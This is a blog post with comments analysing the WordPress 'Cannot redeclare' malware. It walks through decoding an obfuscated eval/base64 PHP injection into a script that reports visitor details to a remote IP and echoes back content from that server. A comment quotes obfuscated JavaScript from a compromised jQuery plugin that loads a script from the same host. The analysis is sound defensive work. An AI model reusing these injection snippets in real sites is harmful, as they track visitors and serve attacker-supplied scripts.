Over the past few months, there have been a few vulnerabilies in PHP scripts utilised by various WordPress themes. One of the largest hacks was back in August, when a Remote File Inclusion (RFI) vulnerability was found in TimThumb, a thumbnail generation script used by a lot of WordPress themes. This vulnerability allowed attackers to run any PHP code on vulnerable sites. As a result of this, thousands of sites were hacked.

The most common result of your site being hacked through like this is having some sort of malicious code added to your PHP files. This is often invisible, and people don't notice that their site has malicious code lurking in it until much later. However, sometimes the hacked code does have errors in it. One particular payload is being referred to as the "'Cannot redeclare' hack", as it causes an error like the following to appear in your site's footer:

Fatal error: Cannot redeclare _765258526() (previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) : eval()'d code:1) in /path/to/www/index.php(18) : eval()'d code on line 1

This particular hack affects all the index.php and footer.php files in your WordPress installation. If you are affected by this hack and open any index.php or footer.php file, you'll see code that starts like this: (the full code is on Pastebin)

<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5Wj...

Decoding the Code

If you're this far, I assume you're a PHP developer (or at least know the basics of PHP). The malicious code above is actually highly obfuscated PHP code, which means that the actual intent of the code is hidden and it looks like jibberish. The eval statement runs arbitrary PHP code, so this line of code will basically base64 decode and then run the big block of code. So... what does the code actually do? Obviously we can't tell with it in its current state. It does take a bit of effort, but this code can be "decoded" relatively easy. Obfuscation is not one-way, it can always be undone. While we can't get back the original variable names, we can see what functions the code is executing.

The first step in decoding this code is replacing all instances of eval with echo, and then running the script. This should output the code being executed, instead of actually executing it. After doing this, I ended up with something like the following:

$GLOBALS['_2143977049_']=Array();
function _765258526($i){$a=Array();return base64_decode($a[$i]);}

eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyMjM...

Great, another layer of gzipped/base64'd obfuscation. This technique is common with obfuscated code like this. Multiple layers of obfuscation makes it harder for someone to decode the code, as it requires more effort. I guess the "bad guys" think that people will get tired of trying to unobfuscate the code, and give up, or something like that. When a case like this is encountered, keep replacing eval with echo and re-running the script, until there's no eval statements left. After decoding all the eval'd code and formatting the resulting code, I ended up with this. While there's readable code there now, it's still obfuscated.

Once you're this far, if you look closely at the code, you'll notice that a lot of it is encoded using base64. The next step to unobfuscating thid code is to decode all base64-encoded text. That is, find all instances of base64_decode(...) and replace it with the base64 decoded version. Once I did that, I ended up with this:

<?php 
$GLOBALS['_226432454_']=Array();
function _1618533527($i)
{
        return '91.196.216.64';
}
 
$ip=_1618533527(0);
$GLOBALS['_1203443956_'] = Array('urlencode');
function _1847265367($i)
{
        $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER');
        return $a[$i];
}
$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];
$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');
function _393632915($i)
{
    return 'curl_version';
}
if ($GLOBALS['_399629645_'][0](_393632915(0))) 
{
        $ch=$GLOBALS['_399629645_'][1]($url);
        $GLOBALS['_399629645_'][2]($ch,CURLOPT_RETURNTRANSFER,true);
        $GLOBALS['_399629645_'][3]($ch,CURLOPT_HEADER,round(0));
        $GLOBALS['_399629645_'][4]($ch,CURLOPT_TIMEOUT,round(0+0.75+0.75+0.75+0.75));
        $re=$GLOBALS['_399629645_'][5]($ch);
        $GLOBALS['_399629645_'][6]($ch);
}
else
{
        $re=$GLOBALS['_399629645_'][7]($url);  
}
echo $re;
?>

Now you simply need to go through the code and "execute it in your head". Follow the execution path of the code, and see which variables are used where. There's some usage of arrays to disguise certain variables. What I did was first replaced the two function calls (_1618533527 and _1847265367), and then replaced the array usages (_1203443956_, _399629645_ and _399629645_). Substitute the variables in the places they're used, and the code should be fully obfuscated. Once fully unobfuscated, the code came down to the following:

<?php
$url = 'http://91.196.216.64/btt.php?ip=' . $_SERVER['REMOTE_ADDR'] . '&host=' . $_SERVER['HTTP_HOST'] . '&ua=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ref=' . $_SERVER['HTTP_REFERER'];

if (function_exists('curl_version'))
{
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 3);
	$re = curl_exec($ch);
	curl_close($ch);
}
else
{
	$re = file_get_contents($url);
}
echo $re;

So, what it's actually doing is sending a request to 91.196.216.64 (a server located in Russia), telling it your site's hostname, your user agent (what browser you're using), and the referer (how you got to the page). This is not directly malicious (this code can't directly do anything bad), which makes it interesting. My theory is that the developer of the worm is using this to create a list of all vulnerable sites, to use them for further hacks in the near future.

So, that's it. Hopefully this post wasn't too boring (and perhaps you even learnt how to unobfuscate code like this). As more people learn how to unobfuscate code like this, I suspect that the "hackers" will keep getting smarter and devising more clever code obfuscation techniques. Until then, finding out what the code actually does is relatively quick and easy, as I've demonstrated here.

Until next time,
— Daniel

Short URL for sharing: http://dan.cx/B5D. This entry was posted on 19th November 2011 and is filed under PHP, Programming, WordPress. You can leave a comment if you'd like to, or subscribe to the RSS feed to keep up-to-date with all my latest blog posts!

Comments

  1. Avatar for Denis Denis said:

    Hi Daniel,

    Actually, the code IS malicious. You forgot about the last line "echo $re;" where they inject the content of the remote URL to a web page. And the content is a malicious JavaScript.

    1. Avatar for Daniel Lo Nigro Daniel Lo Nigro said:

      Ahhh, my bad, I forgot to mention that! When I was testing out the malware, the remote URL was just returning an empty response.

  2. Avatar for Sidde Sidde said:

    Hi. You might be interested to know that i found a similar hack in qtip, a jquery plugin the 8th of december and it has been found in other projects to by now.
    https://github.com/Craga89/qTi...

    This is how a request looks like from the other hack.
    GET http: //91.196.216.64/s.php?ref=&cls=32&sw=1280&sh=1024&dc=utf-8&lc=http://example.com/index.php?p... HTTP/1.1

    The request was generated through this file: jquery.qtip-1.0.0.min.js:
    var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document_0xdc8d[1];if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document_0xdc8d[10];js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document_0xdc8d[21][0];head_0xdc8d[22];} ;

    In a decoded format:
    ["sc_co", "getElementById", "colorDepth", "width", "height",
    "charset", "location", "referrer", "userAgent", "script",
    "createElement", "id", "src", "http://91.196.216.64/s.php?ref=",
    "&cls=", "&sw=", "&sh=", "&dc=", "&lc=", "&ua=", "head",
    "getElementsByTagName", "appendChild"]

    1. Avatar for Daniel Lo Nigro Daniel Lo Nigro said:

      Ahh, interesting. That looks like a somewhat similar obfuscation technique, except using JavaScript instead of PHP.

  3. Avatar for Bill C. Bill C. said:

    Hi, i think someone hacked my eCommerce site and edited the source codes of various .php files.
    Please i would like if anyone can help me decode it before i delete important part of the site's template.
    Here is the link to the code found in several pages: http://pastebin.com/2wMt3dRa
    I would appreciate urgent assistance.
    I had to put the site "offline" until i address this issue (for security reasons).
    Regards.

  4. Avatar for emad emad said:

    pleas help me this script not open////////
    I did all the steps without interest
    this Message When you connect
    Can not run version please contact Email: e_g_y_p_t2006@hotmail.com Skype: karamzaki

    d4/bMG6hpR0MZAqEjMHNzGr5pl4r6BoEfUd0F4geV3vkE6/GeTcoppZwQqNq1uUGuAEwIzGY55HXSiNl6A2m3WrOlqSOJNao1nrHEWA92JkLjwQXTPN1QCsrCf9DwoVnpkXEoJNlVDtSewVoTHAg2PcL2YMtdv94roG0JM0J02aY/4Yrv8dOMPxaameGzYGUV/GUQmUnfGlzznTie0hGMG2YbhRY43+oXcNLMdD2ojls2UyMNZrFVZKXIzC6ay1hIhun5NCf4Ou8LgCkr8cvA2ViQQcixgHUisXDUVNmZvFJNA7gLbo6tcLVELjqZKqX8wsNkZq7FoV+kwbBsZZZQtFx8hNmJc6loxhJ8TfofX8P9k5ddHmEg43oREG3CV1lDUuhfPy6BHYZCpbdLGjFkZAerEx3MgVDjHUUxS2Rtf6XKm76dukPfBFVD6Jod+fmf4jqSnNfqOh02hPt6duf6za8m1u8hBAj6rtdyhYpLQdn64AA22JjhpyYZHBs5Dx16yaA6swNrK4BKr30U+HIa5GP+T7zCzXKggwh/Iz5wuj5Am9dXJIt2YUvfTXxCbpwW+Gv9wd6nZu7BzWimG1t61sGrzIsOY7+RkvsuKtq5xyuQ5qIFLXB51LoEnOZ1c7io6JebC/KgfIGTu6gvu6t6IHuwI2Vpv+YfXTmVoo3REybGmJoZm1O/3LD3dMelL==d4/7bOrxag0MwbNfZyXIvr9vnXUWaiTRAYOyJYnasE+42SnvJRdYKbLAPIP7wyCpI5VeB499Ca0dDxxXd88Y4ZYy4qEz/Qrh96+q4Vzv6dUAIT0J1L/qXT9OVP2OJ7WBVum2CkX9ZpOFtqAdgkzBRRmWU/VaLx4PmYengfMBxANicqtOdop/paNH7hA7CTdhH514tbd2Cx+q+IaYPgz5vYXJfWmf1DHTMSVMDJM8F/ImPKGATiQbVcCJi+dlycAYn1DCPbqQuBgLdX6HysOT1pwVtk7K4o+BI66Lw0g3W0QT8OJYkS0zTFPrpkdgXKCtuLvt65KDro/kuEu8XQYsfLWd35fDjdHKkE5vsNkJ/MWOHiTjnJzGl2dgRexu9XqRN+QaTUBsl8iHzNB2PF53+duYkhEwigUlkKbFseBCxX7UNBJMA3CX8PeLWP/1u8UCADHkLxRBL5bf1an1anFtwMy1plTFwQ/xsFCDwLBVjcmKOUdT9UlPKLnlieR81v+s579wtZ9AmkRpGkpXrpcssyX7zr39iHjG3A67JGNHbPRQ2UNh8Z3g/siJEVvIKpvSQXxqq2BYTcVwBV8shTwXYcQQ/Gj2WKQirObuoM/jznzdOSKddMq0PVsChj/5ZGlWrpHmTrs4Hg5AKVBOvMTaBvvyDaAIyjHfsrcRslccTqX2zMWvpYLb/wD7+1mZJaSU5bAqo8bgzYqZUT6kylAanQmnBYW+9MbzRFCHyMTr5Udv5TYyfwA+eD64W5xIwYjv4sP6AkkdrrzSknFk1XYcx0Md2LE+r/UeqOnlJVmgbEfL1VLDIGcBxTIMxj1uBJAEFhECMbAugP3BudWyIHstioJ5NQRqiUBhks9WdMsXckHEE8BYf3K0Pc+AIzex+Lvw4L==